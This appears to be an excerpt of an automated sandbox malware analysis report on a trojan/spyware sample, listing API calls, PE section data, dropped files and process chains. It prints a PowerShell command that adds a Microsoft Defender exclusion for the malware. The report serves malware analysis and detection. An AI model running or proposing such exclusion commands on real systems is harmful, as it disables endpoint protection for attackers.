Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3971 ZwOpenKeyEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlInitUnicodeString,ZwOpenKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B150 ZwUnsubscribeWnfStateChange,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B1A0 ZwWaitForKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2549B0 RtlpGetSystemDefaultUILanguage,RtlpCreateProcessRegistryInfo,ZwQueryInstallUILanguage,ZwIsUILanguageComitted,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A9B0 ZwQueryLicenseValue,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B180 ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289980 ZwCreateEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A980 ZwQueryInstallUILanguage,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289990 ZwQueryVolumeInformationFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F1E4 ZwEnumerateValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E9ED RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3189E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289830 ZwOpenFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E009 memset,ZwIsUILanguageComitted,RtlpGetNameFromLangInfoNode,ZwQueryInstallUILanguage,RtlLCIDToCultureName,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25106F ZwOpenKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289840 ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318858 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289850 ZwQueryDirectoryFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F0AE ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F60A2 ZwQueryInformationFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B0B0 ZwTraceControl,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2718B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28108B ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A890 ZwQueryDebugFilterState,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289890 ZwFsControlFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F60E9 ZwOpenKey,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 ZwClose,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2800C2 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2898D0 ZwQueryAttributesFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A0D0 ZwCreateTimer2,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2810D7 ZwOpenKey,ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249335 ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275306 ZwReleaseKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244B00 TpCallbackMayRunLong,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289B00 ZwSetValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30131B RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AB60 ZwReleaseKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C7365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D256B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AB70 ZwReleaseWorkerFactoryWorker,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242B7E ZwSetInformationThread,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B48 ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A3A0 ZwGetCompleteWnfStateSubscription,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F RtlInitUnicodeString,ZwQueryLicenseValue,RtlAllocateHeap,ZwQueryLicenseValue,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A390 ZwGetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27939F RtlInitializeCriticalSectionEx,ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2423F6 ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289BF0 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AA20 ZwQuerySecurityAttributesToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A30 ZwTerminateThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A00 ZwProtectVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E216 RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 RtlGetCurrentDirectory_U,memcpy,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289A50 ZwCreateFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289AB0 ZwWaitForMultipleObjects,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E2BB ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B280 ZwWow64DebuggerCall,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AA90 ZwQuerySystemInformationEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FEAE9 memset,RtlInitUnicodeString,RtlInitUnicodeString,ZwEnumerateValueKey,RtlInitUnicodeString,RtlCompareUnicodeStrings,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289AE0 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAE0 ZwRaiseException,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAF0 ZwRaiseHardError,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AAC0 ZwQueryWnfStateNameInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1AD6 ZwFreeVirtualMemory,

Source: 1105.tmp.23.dr

Static PE information: No import functions for PE file found

Source: 610B.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 9D57.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: argjvbv.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 59B4.exe.5.dr	Static PE information: Section: ZLIB complexity 0.996572265625
Source: 59B4.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00024038462
Source: 59B4.exe.5.dr	Static PE information: Section: ~\1847 ZLIB complexity 1.00537109375
Source: 8039.exe.5.dr	Static PE information: Section: )EWhgNF ZLIB complexity 1.00034769918

Source: y4oMrtO1Mt.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hrgjvbv

Jump to behavior

Source: 1105.tmp.23.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/14@38/7

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

Source: y4oMrtO1Mt.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

Source: y4oMrtO1Mt.exe

Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\59B4.exe C:\Users\user\AppData\Local\Temp\59B4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9D57.exe C:\Users\user\AppData\Local\Temp\9D57.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B8B0.exe C:\Users\user\AppData\Local\Temp\B8B0.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\82DC.exe C:\Users\user\AppData\Local\Temp\82DC.exe
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\argjvbv C:\Users\user\AppData\Roaming\argjvbv
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

